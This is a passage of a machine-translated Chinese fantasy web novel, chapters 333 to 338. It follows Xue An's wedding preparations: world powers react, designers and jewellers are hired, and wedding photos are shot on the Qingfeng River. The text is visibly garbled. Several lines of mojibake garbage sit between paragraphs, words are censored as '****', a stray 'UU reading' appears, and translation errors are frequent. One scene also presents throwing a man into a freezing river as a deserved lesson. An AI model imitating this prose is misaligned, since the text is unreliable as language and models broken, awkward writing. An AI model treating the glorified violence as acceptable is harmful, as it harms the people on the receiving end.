    Anqing smiled, "Brother-in-law and eldest sister are going to reorganize the wedding! You have to go to Beijiang to get the eldest sister back, and you can follow along!


    An Ying and An Meng''s eyes lit up, and they nodded, "Okay!"


    Chen Xiuhe has been living at home during this time.


    It''s all peaceful and fine.


    Tianyuan became stronger and stronger, and everything was on the right track.


    He has nothing to do, so he reads in the house with kind eyes all day long.


    After receiving Xue An''s call, he suddenly recovered like a sword out of its sheath.


    "Mr. Xue, what''s the matter?"


    Xue An smiled faintly, "I want to inform you about something. An Yan and I are going to get married!"


    "Good! Good thing! I must be there!" Chen Xiu and he laughed and congratulated again and again.


    "But I think everything is done in the most traditional way. Now Anyan has no elders in Zhong, you will be her parents'' elder, and then I will pick her up!"


    "No problem!" Chen Xiu and he immediately agreed.


    This is regarded as giving him face, how could he disagree.


    "As for the others, look at the notification!" Xue An hung up after speaking.


    Chen Rushi just walked into the house at this time and saw that his grandpa was elated, and couldn''t help asking: "Grandpa, what''s the matter? What''s so happy?"


    Chen Xiuhe sighed slightly when he saw his granddaughter, "Mr. Xue is getting married to An Yan!"


    Chen Rushi was startled, and her complexion gradually turned pale, but after a while, she took a deep breath and smiled: "This is a great thing! Lovers will eventually become family members!"


    Chen Xiuhe stood up and said, "Mr. Xue asked me to be my maiden, but I always feel that I alone is not enough. It just so happened that the military people got so much benefit from Mr. Xue last time, and this time I should also come out to help. Up!"


    Chen Xiuhe is a person who likes to lively. What he likes most is to make everything vigorous This time, Chen Xiuhe is more concerned about Xue An''s wedding.


    Xue An called his three buddies separately.


    Nowadays, Zhao Xuehui, Yang Binyi and Qiao Le are no longer what they used to be. With the growing strength of Tianyuan Company, the influence of the three of them has gradually become stronger.


    After receiving Xue An''s call, the three of them did not change at all, still chatting and joking.


    Until Xue An told the news that he was going to marry An Yan, the three were silent for a moment, and then they said a word from the bottom of their hearts.


    "I finally waited for this day!"


    The three of them have witnessed Xue An and An Yan''s most youthful time, so they are all very happy.


    In short, with Xue An''s several phone calls, the whole story gradually became boiling.


    But it really pushes everything.


    is still a report by the female reporter Chen Xiaoyi from the provincial capital.


    Of course, she is no longer in Entertainment Weekly, but in an influential media.


    When she learned that Xue An was going to get married, she wrote a report in her heart.


    In the report, she listed all the deeds of Xue An she knew, and finally sent a sincere wedding blessing!


    This report is like pouring a scoop of water in hot oil, which completely detonated everything.

 Chapter 333： The news came and the parties made a sensation

    The media at home and abroad all caused a sensation.


    Many well-known media immediately sent detailed reports.


    Among them, the Hollywood media of M Country is the most special.


    In their report, Xue An is nothing short of beautiful.


    I don��t know, I thought it was a Chinese media.


    In fact, only those who know the truth understand that Xue An rescued everyone at the Auska ceremony.


    This good relationship is too big.


    Although it is limited to the blockade of the intelligence agency of country M and cannot be said straightforwardly, it is okay to say something nice.


    And when the Shen family heard the news, they were all shocked by it.


    When Xue An returned to Beijiang directly from Sin City, this incident left Shen Nan lonely for a long time.


    This big wedding, she said she would return to China to participate.


    Shen Kang naturally nodded and agreed.


    And in Sin City.


    Wen Sinan was holding the newspaper with a fluctuating expression.


    Sitting across from her, it was Griffin.


    He and Vin Sinan sat opposite each other, looking quite harmonious.


    But this scene was absolutely impossible before.


    But today''s Sin City has gradually faded from the dark tone.


    Griffin''s gambling is booming, making money every day, so naturally he doesn''t bother to do those dark activities that can''t make a lot of money.


    Wen Sinan also led many of his staff to open several hotels, and the business was booming.


    "Dear Vin Sinan, I am going to Huaxia now, don''t know if you are going?" Griffin said with a smile.


    Griffin now wears a Tang suit all day, trying to dress himself up like a Chinese.


    In his words, wear the same clothes as the gods.


    Because in Griffin''s eyes, Xue An seems to be at the same level as Chuangshi Shen.


    Wen Sinan was silent, and shook his head after a while, "I''m not going!"


    got up and left.


    Griffin looked at her lonely back and shook his head and said, "I fell in love with a god! Alas, feelings! What a headache!"


    But the biggest response was from the intelligence agencies of various countries.


    M country.


    When the intelligence chief Kuixi learned that Xue An was about to get married, his hair stood up.


    A single Xue An has changed most of the world. Is there a woman to be added this time?


    Therefore, he immediately dialed the phone and yelled at the other end of the phone: "I don''t care what you use. For this wedding, you must find out the details for me. I want to get a high-resolution photo of Xue An. It''s not a **** picture, you can''t see your face!"


    "Yes!"


    "Also, to find out in detail who this Xue An''s wife is! I want all the information!"


    "This can be found now!"


    Soon, An Yan''s information was sent.


    Because Xue An is the number one target of attention in various countries, everyone around him has detailed information.


    When I saw An Yan''s ID photo of unknown age.


    Quixi��s eyes lit up, "Does this girl look very kind! This is a good start!"


    After reading the information, Quesi was happy.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    God, are you finally willing to use your supernatural power to favor your subjects?


    This girl is not a devil! And also very kind, without any tendency to violence.


    This is awesome!


    while in R country Tokyo.


    In a courtyard.


    There are many big bosses who are powerful on the outside, and they all stand silently at this moment.


    Because in front of them is Tokyo''s underground queen, Takeuchi-sama Kiyoko.


    Takeuchi Kiyoko held the streamer called the Sword of God that was feared by Tokyo underground powerhouses, and glanced at everyone present with cold eyes.


    "I''m going to China to attend the host''s wedding this time. Please stay here. If there is any mistake, maybe my host will visit Tokyo again!" Takeuchi Kiyoko said lightly.


    Hearing this sentence, the cold sweat of these so-called big brothers burst out.


    A Takeuchi Kiyoko is terrible enough.


    If the god-like man also came, then Tokyo would not be far from destruction.


    "Hey, Master Qingzi, please rest assured, I will wait for myself!"


    Lingnan.


    Yujia!


    The atmosphere in Shechem Pavilion is a bit weird.


    Patriarch Yu Long sighed, "Well, we all know that this is impossible! Mr. Xue''s astonishing cultivation level must be a rock-hearted person. We want Yu Ran to get close to others, it is destined to be just wishful thinking. ."


    Yu Ming nodded, "Father, then this time Mr. Xue''s big wedding, our Yu family..."


    Yu Lang said solemnly: "Prepare a generous gift, go collectively!"


    Yu Ming was shocked, bowed his head and said: "Yes!"


    Only Yu Ran sat silently, tears shining in his eyes.


    Waiting for the evening, Yu Lang came to the Rain Temple.


    The goddess opened the door of the temple, Yu Lang walked in, then looked up at the statue of the god, and whispered: "Master Rain, Xue An is married, what are your plans?"


    The voice seemed a little strange in the empty hall.


    But after a while, I saw a golden light flashing above the shrine.


    Yu Lang stepped forward and picked up a bamboo slip that appeared out of thin air.


    This is a rain **** Jane, it''s not very useful, at best it is temporarily controlling the surrounding weather.


    But the rain **** is not a **** with strong power, so this is her best thing.


    Yu Lang nodded, "I will serve it for Lord Rain!"


    After a moment of silence, he put a few things on the shrine, "These are the few relics left by the ancestors. I didn''t bury them with the cloak, let the rain **** keep it!"


    After speaking, he turned and left.


    Calm was restored in the hall.


    After a long time, I saw the relic left by Yu Yuanyi, the Lingnan sword immortal, moved slightly, and then heard the woman''s weeping sound.


    The media around the world were basically alarmed.


    The powerful parties rushed to Beijiang.


    Now Xue An''s strength has become a mystery.


    But in the martial arts forum, someone asserted that Xue An is already the first person in the world to cultivate martial arts!


    This statement actually got the approval of most people and when there was a lot of trouble outside because of Xue An''s wedding.


    Song Yi who guarded the Xiangjiang River also hurriedly arrived.


    After he saw Xue An, he first expressed his congratulations, and then sent a feng shui mark!


    "Hey, my lord, I don''t have any good things. This feng shui mark has been with me for many years, and it can be considered useful. When I get married, I can put it next to my bride to prevent evil."


    Hearing Song Yi''s words, Xue Lan on the side said with some disdain: "With my brother here, what demons and evil spirits dare to come over?"


    Xue Lan''s speechless Song Yi was speechless, so he had to sneer and laugh.


    Xue An smiled slightly, "Why come here so late?"


    Song Yi looked a little solemn, and secretly pulled Xue An aside and whispered: "I''m busy with an auction in Xiangjiang these days!"


    "auctions?"


    "Yes! This auction will be held in a month''s time, and adults will be able to go there to see the excitement!"


    "What''s so fun?" Xue An certainly knew that Song Yi would not aimlessly.


    If it were just an ordinary auction, it would not be so mysterious.


    "It''s still unclear, but this auction has already alarmed several hidden head-down masters in Southeast Asia. It is said that even long-lost bugs have also appeared!"


    Xue An nodded, "Also, after I and An Yan get married, I am going on a honeymoon trip, so let''s stop by!"

 Chapter 334： Tailored

    Raphael frowned and walked off the plane.


    He doesn''t like it here.


    At this time, he should be in the shops on Bell Street, England, tailoring for the elegant English gentlemen and ladies.


    Instead of coming to a strange country thousands of miles away, go to design wedding dresses for a pair of strange and rich people who have never heard of their names!


    But he had to come again.


    because the other party offered a price that he couldn''t refuse.


    This kind of awkward mentality of wanting to make money and feeling out of status makes this famous costume master of Y country always look constipated.


    "Mr. Raphael, please come with me!" At this moment, a dignified middle-aged man smiled and said.


    This man made Raphael feel better.


    It seems that at least there are gentlemen in this country!


    can wait to walk out of the airport lobby, parked outside are a few bright luxury cars.


    "Mr. Raphael, please get in the car, my chairman has been waiting for you for a long time!"


    "It''s really a country full of local tyrants!" Raphael sighed silently in his heart and got into the car.


    Soon, he came to a tall building, and then saw a woman who was so beautiful in his eyes.


    Especially the aura of this woman is cold, like a queen in the workplace, fascinating.


    "Mr. Raphael, I am glad you came to Beijiang. I am the Qin Yu who invited you to come!" Qin Yu nodded and smiled.


    "I''m sorry, if I knew that it was such a beautiful lady who was talking on the phone, I should have come soon!"


    "Also, if I were twenty years younger, I would be full of jealousy for the man who married you! I am jealous that he has the treasures in this world!"


    Raphael began to show off the humor of the gentleman unique to country Y.


    Qin Yu smiled faintly, "Mr. Raphael, I think you made a mistake, it''s not that I want to get married!"


    "Huh? Who is it then?"


    "My most respected gentleman! Or... the true owner of our group!"


    Qin Yu''s words made Raphael a little dumbfounded, and then a strong curiosity arose.


    This woman has a high temperament, and she is a wealthy rich man at first glance. What would the person who asked her to call her master look like?


    This curiosity continued until Qin Yu was sent to Villa No.1 Tianzi.


    When Raphael entered the door, he was stunned.


    Because he saw a lot of colleagues in it.


    "R country ghost designer Kazunami Tanaka!"


    "Garcia, a cutting-edge designer from country M!"


    "Gosh, isn''t this the talented designer who designed the wedding dress for the royal family of Y country?"


    These people made Raphael''s full of pride begin to melt.


    These people are not inferior to themselves in the design world.


    But what makes Raphael most curious is the white-haired old man sitting in the middle.


    This old man is a Chinese, with a calm temperament, slender fingers, and a clean and elegant dress.


    Raphael knew from the feeling that this old man was definitely a tailor and a great tailor.


    So many masters gathered together, what exactly is this person?


    is in a moment of uncertainty.


    Xue An led An Yan into the hall.


    Qin Yu quickly stood up and said, "Sir, these are masters I have invited from all over the world to customize wedding dresses and dresses for you and your wife!"


    Xue An nodded.


    In fact, with Xue An''s means, a suit of clothes can be turned out at will.


    is not only fit, but also all kinds of styles are free.


    But what Xue An wants is to give An Yan a perfect wedding.


    What does perfection mean unparalleled in the world?


    That is what others have, I have to have it.


    I still have what others don��t have.


    It seems impossible to have it, it has to be there!


    This is what Xue An means!


    Qin Yu executed perfectly.


    At this time, Raphael and the others also came to a sense of consternation.


    "If this man is to be a model, then the world''s top male models will not have to live!" This is the only thought in Raphael''s mind.


    After so many years of tailor-made clothes, he has developed a pair of extremely vicious eyes.


    So he can tell at a glance that Xue An''s height ratio is absolutely perfect!


    is even more perfect than the sculpture!


    How can a person have such a perfect figure?


    As for Anyan, he didn''t dare to take a closer look.


    Because this girl is so beautiful and unparalleled, after watching it for a while, I guess she won''t have the mind to tailor her clothes.


    When he started to measure the size, Raphael was even more amazed, and his face appeared obsessed.


    If you can make a suit of clothes for a person of this size in your life, your tailoring career is almost complete.


    And several female assistants who are responsible for measuring Anyan''s size are also envious.


    "This young lady, I swear, the wedding dress I made this time will be the most beautiful in the world! My god, now the inspiration is going to squeeze my head! Is there a simple workbench here? Record my inspiration!" The wedding dress designer Valen exaggerated.


    Qin Yu smiled, "Of course! I have a world-class studio for everyone. As long as the fabric can be called, you can use it freely in the world. Remember! This time I don��t ask for cost performance, as long as the most beautiful!"


    Warren went to the studio like crazy, and in the next few days, he probably won''t need to sleep anymore.


    And Raphael is now wondering what technique should be used to bring out Xue An''s perfect figure.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    At this time, he heard Qin Yu talking to the old man.


    "Mr. Feng, are you all optimistic?"


    Mr. Feng.......


    Raphael trembled suddenly, UU reading thought of a legendary figure in the design and tailoring world.


    Final talent!


    Chinese people.


    One-handed tailoring craftsmanship can be said to be unique in the world.


    I didn''t expect them to invite such a character.


    And Feng Caiyi also looked at Xue An in the distance with awe.


    He is also considered a half-practitioner, and he naturally knows Xue An��s current reputation!


    So after indulging for a moment, he nodded and said: "I have already got my eyebrows! I am going to make a Chinese dress for my husband, and then make a Chinese wedding dress for this beautiful lady!"


    "Good!" Qin Yu was satisfied.


    "You guys have worked so hard. It''s best to take out samples within three days. Don''t worry, if the effect is good, the money can be doubled!"


    Double!


    is already generous enough, this time it will be even more impressive.


    At least the Garcia from Country M gritted his teeth, "Fight!"


    These designers began to prepare clothes in their respective studios.


    Qin Yu went to prepare other things.


    During this period of time, she has completely forgotten about the company''s affairs and concentrates on Xue An''s wedding.


    Seeing Qin Yu''s back in the wind and fire, An Yan sighed: "It''s really hard for her these days!"


    Xue An smiled and said nothing.


    If she doesn''t let her work so hard, then Qin Yu guesses it will be really hard!

 Chapter 335： What is real luxury

    Kou Xiaoyan is the CEO of Xiangjiang Zhou Xiaofu Jewelry, a well-known strong woman in Xiangjiang and even the world jewelry industry.


    I came to Beijiang this time at the invitation of Song Yi.


    Kou Xiaoyan was in awe of Song Yi.


    This middle-aged man, who has been in Xiangjiang for only a year, has superb management skills, which is simply staggering.


    At the beginning, many people thought that Song Yi was an outsider and didn''t take him seriously.


    But after just one year, all the big and small in Hong Kong have honestly bowed their heads.


    and Kou Xiaoyan has heard the rumors.


    Behind Song Yi, there was a terrifying man who wiped out the Ming family overnight.


    This also gave Song Yi a layer of mystery.


    So when Song Yi called to order jewelry.


    Kou Xiaoyan immediately brought the most capable expert team northward.


    "Miss Kou!" Song Yi came to greet him in person with a smile.


    Kou Xiaoyan was shocked and nodded: "Mr. Song!"


    "Miss Kou is here at the right time. It just happens that today, adults have time, please come with me!" Song Yi said.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    grown ups����.


    Kou Xiaoyan was slightly startled, then a chill suddenly rose in her heart.


    can be called an adult by Song Yi...


    Could it be that man?


    When he was in doubt, Xue An walked in with An Yan.


    Song Yi hurried forward, "My lord, this is Miss Kou, the CEO of Zhou Xiaofu. They are the most proficient experts in jewelry in the world!"


    Xue An nodded slightly and looked at Kou Xiaoyan who was aside.


    glanced over, Kou Xiaoyan felt that all her hairs were standing up.


    The look in this man''s eyes is like a nine-day emperor, which makes people shudder.


    "I don''t know what kind of jewelry the adults are going to order?" Kou Xiaoyan said bitterly.


    Xue An smiled and pointed to An Yan, "We are getting married, so we are going to customize some wedding jewelry!"


    Kou Xiaoyan nodded, turned to look at An Yan, "Madam, please come here, we need to measure the data for you!"


    Waiting to sit on the sofa aside, Kou Xiaoyan''s team is preparing to measure the exact size of An Yan''s wrist and fingers.


    At this time, they discovered that An Yan was wearing a bright ring on her hand.


    "This..." Kou Xiaoyan was startled first, and then shocked.


    From her professional perspective, this ring is simply impeccable, whether it is gemstones or style, including the entire design, it is so perfect.


    Not to mention anything else, this ring alone is worth tens of millions.


    Kou Xiaoyan was shaking, her assistant also let out a low exclamation from the side.


    "Madam, this necklace you wear..."


    An Yan smiled and gently took off the necklace, "My husband gave it to me!"


    Kou Xiaoyan, the eldest of the group of people with open mouths, a 60-year-old old man with gray hair, trembling hands gently stroked the necklace.


    This old man is Zhou Xiaofu''s most senior jewelry master, and even Kou Xiaoyan must respectfully call Master Zhou.


    "Master Zhou, this..."


    Kou Xiaoyan of course can also see the shockingness of this necklace, but she doesn''t know what gemstone it is made of!


    Master Zhou shook his head, watching An Yan''s eyes full of awe.


    then whispered in Kou Xiaoyan''s ear: "This is a jewel with a powerful aura! The value is inestimable!"


    Kou Xiaoyan was stunned.


    Jewelry with aura....


    There is no such thing in a billion, and she hasn��t seen a few of them for so many years.


    And listening to Master Zhou''s meaning, this aura is still extremely powerful.


    Actually, this necklace was made by Xue An''s refining the Eternal Spring in the City of Sin. It is full of natural charm.


    Master Zhou took a deep breath and said with a wry smile: "Madam, the two pieces of jewelry you carry with you are enough to buy all the jewelry companies in Xiangjiang. What jewelry do you want to order?"


    Song Yi frowned when he heard it. Someone pushed the business out?


    In fact, only Master Zhou knows that people who can wear such rare treasures are by no means ordinary people!


    If my little Zhou Xiaofu doesn��t serve me well, wouldn��t it cause endless trouble?


    At this moment, Xue An said lightly: "Don''t care whether we need it or not, everything is in accordance with the highest specifications."


    Xue An''s words made the Master Zhou bow his head deeply, "Yes!"


    The female assistants on the side, even Kou Xiaoyan, were filled with infinite envy in their hearts.


    In the life of a woman, it would be so happy to meet such a powerful and mysterious man who spoils you so much.


    deserves to be a professional team. After measuring the size, they quickly came up with a dozen plans for Anyan to choose.


    An Yan looked dazzled.


    As a woman, I like jewelry.


    When she saw so many beautiful designs, she couldn''t help but feel a little troubled.


    At this time, Xue An smiled slightly, "What do you think?"


    "All are good!"


    Xue An nodded, "Well, it''s all over!"


    what?


    Kou Xiaoyan, these people were all stunned.


    It''s not that they haven''t been in contact with giants!


    But I have never seen such a bold shot!


    You must know that they design a set of jewelry at least tens of millions, and these dozen sets can be hundreds of millions!


    Can this man want it all without blinking his eyes?


    An Yan was also a little stunned, "Husband, don''t use so much..."


    Xue An smiled faintly, "If you like it, you want it all, save it and wear it slowly later."


    then turned to look at Kou Xiaoyan, "When can these be made?"


    Kou Xiaoyan trembled, and then quickly said: "The fastest... three days!"


    Xue An frowned slightly, "In two days, the amount will be increased by 30%!"


    Kou Xiaoyan hasn''t reacted yet, Xue An has already said: "Cash check out! Remember Don''t waste time!"


    After that, Xue An led An Yan away.


    Kou Xiaoyan and others looked at the backs of Xue An and An Yan blankly, their faces full of astonishment.


    They finally realized what is truly extravagant!


    But what they didn''t know was that Xue An actually didn''t agree with it at all.


    If there is enough time, he even wants to collect some five element gold crystals, and then refine them with the sun, moon and stars.


    Only jewelry made from such five elements, sun, moon, and gold crystals, is the most beautiful and luxurious in the world!


    Let''s make up later! Xue An thought silently.


    At this time, Qin Yu rushed over.


    "Sir, some of the clothes and wedding dresses have been made, do you want to try it first?"


    Xue An nodded, "Okay!"


    "Also, director Cao Zheng from the provincial capital has already arrived with the world''s top photography team!"


    Xue An smiled, "Cao Zheng also knows the news? Let him come over later!"


    "Yes!"


    This Cao Zheng was the same director who was shooting a movie in the provincial capital. Because his wife was rescued by Xue An, Cao Zheng has always been grateful to Xue An.


    This time I heard that Xue An is about to get married.


    He was filming abroad and hurried back immediately.


    then used his contacts in the circle to invite the world''s top cameraman!


    is to take wedding photos for Xue An and An Yan!

 Chapter 336： Handsome cant close legs

    When Xue An put on a well-tailored and extremely well-made gown and walked out, the room was quiet.


    As Raphael said, Xue Annai is a perfect model.


    After putting on this dress, it brought out Xue An''s extremely noble temperament.


    "Perfect... it''s perfect! This is the best dress I have ever made!" Raphael exclaimed.


    Then An Yan also walked out wearing a long skirt with a floor.


    The well-designed wedding dress is matched with An Yan''s unparalleled good figure. Between the expectations and expectations, it is like a thousand flowers in full bloom, and the beauty is dazzling.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Then there are two little girls. They are wearing well-designed children''s dresses, like two little princesses, very delicate and cute.


    The family is standing there, without talking, it is a landscape.


    After everyone was stunned for a moment, Feng Caiyi''s eyes were also colorful.


    "Very good! But sir and madam, you can try the Chinese dress made by the old man!"


    After Xue An and An Yan put on the Chinese dresses carefully tailored by Feng Caiyi, the temperament is different from just now.


    Xue An is dressed in a white boy shirt, with a long jade body, like a beautiful boy in the muddy world, proud and independent.


    An Yan is a big red wedding gown with a phoenix crown on her head, graceful and luxurious like a royal lady.


    This scene happened to be seen by Cao Zheng and the photographers.


    When these photographers came, they were still a little unhappy. Each of them is a leader in the industry, and they are usually responsible for the photography of major movies or evening parties.


    actually came to take a wedding photo this time?


    This made this group of people unacceptable, but due to Cao Zheng''s face, he had to acquiesce.


    Nowadays, Cao''s influence in the movie circle is growing.


    These photographers dare not offend.


    can wait to come here, after seeing Xue An and An Yan.


    These photographers were all stunned.


    They have photographed countless beautiful men and women.


    But whether it is a movie star or a top model.


    The beauty of these people is flawed.


    The job of a photographer is to avoid defects as much as possible and only take pictures of the beautiful side.


    But Xue An and An Yan casually stood there, they were beautiful and flawless.


    "God, did I see an angel?" a bearded foreigner whispered softly.


    Cao Zheng only smiled when he heard it.


    Angel?


    The imagination of these foreigners... is really lacking!


    If they knew that even the puppy next to Mr. Xue was a dragon, they wouldn''t know how they would be surprised.


    Then he took a step forward and said respectfully: "Mr. Xue!"


    Xue An nodded slightly, "Why didn''t you bring your wife?"


    A happy smile appeared on Cao Zheng��s face, "Axiu just gave me a son, and he is still in the hospital now!"


    "Oh? Congratulations!" Xue An smiled slightly.


    "Mr. Xue, I heard that you are about to get married, so I summoned these friends to take you wedding photos and the whole video! But is there any place in Beijiang that is suitable for taking wedding photos?" Cao Zheng asked.


    Qin Yu smiled, "Of course there is, and even if not, he can have it!"


    The powerful self-confidence between the words made this group of cameramen all startled slightly.


    Qingfengjiang.


    It is a famous scenic spot in the whole province and even the whole country.


    is also a location for many newcomers to take wedding photos.


    New people from all over the country come here every day.


    Today is no exception.


    Just as a couple of local couples in Beijiang were shooting, a luxury bus from Zhongdu stopped on the side of the road.


    A pair of well-dressed men and women walked down from above.


    Males are in their 40s or 50s, have sparse hair with a big belly, and his face is arrogant.


    The woman is only in her twenties, and the face of an internet celebrity who doesn''t know how many sculptures has been carved is full of falsehood.


    "Husband, didn''t you mean to take me to Europe for a trip? Why did you come to such a remote place?" The woman pretended to be coquettish.


    The man laughed, "We are getting married soon, so we have to take a few wedding photos, and this is the most famous filming location, much better than that in Europe!"


    The woman nodded.


    She married this old man for money, and it didn''t matter where the photo was taken.


    At this time, a professional photography team stepped off the luxury bus. Both the quality of personnel and the equipment were better than the nearby Beijiang local photo studios.


    The woman triumphantly glanced at the couple of couples next to her, "Husband, it''s so funny, some people are wearing such outdated and worn clothes to take wedding photos, maybe they are all rented!"


    These words were deliberately said loudly, which made the faces of the surrounding couples a little unsightly.


    And this man laughed loudly when he heard it, "It''s a small city, how can it compare to our Chinese capital?"


    I was about to start shooting, but there were only a few good shooting locations, all occupied by the first couple of newcomers.


    The man frowned, "Get out of the way!"


    "We came first, why should we let it to you?" Someone refused.


    The man sneered and said: "Just because I am from Zhongdu, believe it or not I can kill you with money?"


    His words are arrogant, but they are also very effective.


    These newcomers looked ugly, but in desperation, they gave way.


    "Hehe, have you seen it? No matter when, you still have to be rich!" the man said triumphantly.


    At this moment, more than a dozen cars drove up on the mountain road in the distance.


    are all brand new luxury buses.


    This kind of battle makes many people startled can''t help whispering.


    "What is this for?"


    "I don''t know, is it also here to take pictures?"


    After the bus stopped steadily, a group of well-trained security guards got out of the car and then began to carry down various professional photographic equipment.


    "It looks like you are planning to make a movie?" Several people in the studio murmured.


    In their opinion, each piece of such professional photographic equipment costs hundreds of thousands, and it must be used for filming.


    was talking, a team of photographers walked down.


    "My slot!" A staff member of a photo studio couldn''t help but explode.


    "What''s wrong?" the person next to him asked.


    "Isn''t that the world''s top photographer Mark? How could he come here?" The person in the studio said with a shocked face.


    This man is a photographer who graduated from a professional college. He just couldn''t find a job after graduation. He came to the photo studio to be a wedding photographer. But he still pays attention to industry trends. Naturally, he knows that the top big guys like Mark have Many cattle*.


    The pair of men and women from Zhongdu on the side were also surprised.


    This kind of formation is obviously not ordinary people.


    At this moment, Xue An and An Yan slowly got out of the car.


    Both of them were dressed in costumes today, and when they appeared in front of everyone, they caused a low exclamation.


    "This is too pretty! Especially the man, he is so handsome that people can''t close his legs together!" A woman started to become a nympho.

 Chapter 337： Moon stained Qingfeng River

    "I guess he is a new movie star!" someone said.


    Amidst everyone''s surprise and discussion, Xue An lowered his head and smiled at An Yan, "Wife, how is this place?"


    Wife?


    Could it be that these two are also lovers, come here to take wedding photos?


    Everyone is a little stupid.


    An Yan nodded, "This river view is so beautiful! Hey, why is that hill so weird?"


    An Yan pointed to a hill in the distance that seemed to have been cut in half.


    Xue An smiled, "That hill..., that was when a guy with short eyes came to Beijiang to make trouble and was cut off by my sword!"


    Xue An was talking about the last time that Shechem from the Yu family walked to Beijiang Shechem, but was killed by his own sword.


    But his words have changed in many people''s ears.


    For example, the man in Zhongdu sneered when he heard the words, "It''s really bragging without drafting, and you cut it with a sword, why don''t you say it was broken by your punch?"


    Xue An frowned slightly, before he could speak.


    The Black King who came with him rushed over.


    "What are you going to do? I tell you, I''m a businessman from Zhongdu, if you dare to touch me with a finger, be careful with me..." The man looked at the rushing black king with a little horror and shouted .


    The black king was too lazy to talk nonsense with this kind of stuff, and he lifted the guy up by just mentioning his collar.


    As soon as he raised his hand, he threw the man into the Qingfeng River just like throwing garbage.


    The river is turbulent, and it��s already autumn, it''s freezing cold.


    After the man fell in, he drank two big sips of water first, and then hugged a tree root on the shore in fright, but he couldn''t get up no matter how hard he tried, he had to shout for help.


    But no one dared to move, including the woman, who was shaking all over at this moment.


    Xue An said lightly: "Black King!"


    "Mr!"


    "Just give a lesson, if such a person dies, it will only pollute the Qingfeng River!"


    "Yes!"


    When the Black King stood on the shore and stretched out his hand, he lifted the man up again.


    This time, the man was covered with water, standing still shivering, but he didn''t even dare to move. He just looked at Hei Wang, Xue An and the others with horror.


    "Find out who the other party is before you next speak, otherwise it''s easy to be short-lived!" Xue An said lightly.


    The man nodded frantically, "Yes! But I don''t know who the friend is?"


    The man still has a hint of revenge in his heart, thinking that as long as he knows who you are, after he goes back, he will try his best to be like today.


    Xue An smiled slightly, "Are you from Zhongdu?"


    "Yes!"


    "Well, if your contact level is high enough, you should know my name, my name is Xue An!"


    Xue An.......


    The man read silently twice, and his body was shaken suddenly, and then he looked at Xue An with incredible eyes.


    "You...you are..."


    Xue An nodded, "Yes, I am!"


    The man was so scared that his face turned blue, "I really didn''t know it was you..."


    Xue An waved his hand. He didn''t have time to apologize for such a character, "Go away!"


    "Yes!"


    The man turned around and ran as if he received an amnesty, not even his girlfriend.


    After getting into the car, the man shouted: "Quick, drive out of here!"


    Until the car left the Qingfeng River, the man let out a sigh of relief, and then collapsed on the seat.


    His girlfriend was also frightened, and asked tremblingly: "Husband, then...who is that man? Isn''t it amazing?"


    The man smiled bitterly, "In Zhongdu, he is a murderous existence! All the wealthy families are crawling under his feet! Understand?"


    The woman trembled all over, her face was pale, she didn''t dare to ask more.


    The man secretly rejoiced that he was able to survive in front of this murderous god, really bless the Buddha!


    It seems that after I go back, I have to go to the Great Buddha Temple and donate more sesame oil money!


    After this episode is over.


    Xue An and An Yan started taking wedding photos.


    And the local newcomers and Beijiang��s photo studio did not leave, they all stood in the distance watching quietly.


    To be precise, the people in the photo studio were shocked by the professionalism of these photographers.


    And those newcomers all looked at Xue An with star eyes.


    After all, no one wants to look at beautiful things.


    Like now.


    Xue An wore a Han suit with a sword hanging from his waist, standing by the river.


    An Yan is dressed in red, holding a paper umbrella, standing aside.


    At exactly this moment, the sun was projected, shining on the sides of the two of them, rendering the picture like a dream.


    These photographers are more excited than anyone else.


    They have never seen such a beautiful and moving picture. Many people are inspired by this and designed many beautiful shapes and movements for Xue An and An Yan.


    The shooting continued into the night.


    The five-star hotel package sent directly from the city by Qin Yu, after everyone finished eating.


    Several photographers got together, looked at the full moon in the sky, and began to wonder how to take advantage of such a beautiful moonlight.


    "I think it''s best to let the two stand in the middle of the river, so that there is a bright moon in the sky, and a clear river on the ground. The effect will be great!" A photographer said with great excitement, patted his chest.


    "The words are correct, but the premise is how to stand in the middle of the river?"


    "Yes! The river is so turbulent, and it''s still late at night, it''s too late to find a boat temporarily!"


    These photographers were so worried, their brows were all frowned.


    Xue An couldn''t help smiling when he heard it.


    "This... is very simple!"


    "Huh? Is there anything better, sir?" Several photographers flashed up and asked quickly.


    "Of course there is!"


    After that, Xue An took An Yan''s waist and walked slowly towards the river.


    "Sir, the road is slippery in dark and the river is dangerous!" Several photographers hurriedly shouted when they saw this.


    "Yes! Let''s think of a way, but don''t take life..."


    was about to say not to make a joke about life, but he didn''t say the joke.


    Xue An and An Yan have stepped on the surface of the river, and then walked slowly into the river.


    Walk on the water without getting wet shoes!


    This scene shows everyone who hasn��t seen Xue An��s skills The bearded foreigner kept drawing a cross on his body, "God, it turns out to be an angel!"


    Only Cao Zheng and the Black King were not surprised by this.


    From their point of view, what happened to Xue An is not unusual.


    At this time, Xue An took An Yan and walked to the Qingshui River.


    At this moment, a bright moon just hangs in the middle of the sky.


    The whole Qingfeng River reflected by the cold moonlight is like a jade belt, and Xue An and Anyan stand on it, like a couple of gods and goddesses.


    A few photographers wake up like Meng Fang, regardless of how Xue An did it. After picking up the camera and adjusting the angle, it was a crazy shot.


    "God, if this photo can be published, I will definitely get the best of the year!" Some photographers exclaimed as they watched the final effect.


    And when these photographers finally finished shooting, the river surface gradually became clear, as if the entire river was burning with a blue flame.


    These photographers were all stunned by this vision.


    Xue An��s voice came, "The filming is over! Yan''er and I will go home first!"


    Then the two figures disappeared in the cold moonlight.


    The bearded foreigner muttered to himself with a distracted look, "God, is this you who manifested yourself?"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����

 Chapter 338： An Qing arrives

    These days, Wu Qiang, the property manager of Yunmeng Hospital, is very busy.


    The news that Mr. Xue from Villa No. 1 Tianzi is about to get married has spread.


    People from all over the world come every day.


    Among these people are friends Xue An knows, and others are purely for fun.


    There are media from all over the world, squatting in front of the Yunmeng Courtyard all day, trying to take a few pictures of Xue An and An Yan.


    Wu Qiang is very sensitive to this.


    Because Qin Yu gave the order, people who were not invited are not allowed to enter.


    In the Qin Group, what Qin Yu said is an order.


    Wu Qiang didn''t dare to slack off, so he simply moved to the guard box in front of the door and stayed there 24/7.


    After a few days, he lost a lot of weight.


    But the mental state is unexpectedly good.


    Because in these few days, he has seen a lot of big people that he hadn''t touched before.


    The more so, the more shocked Wu Qiang.


    The energy of this Mr. Xue is too great.


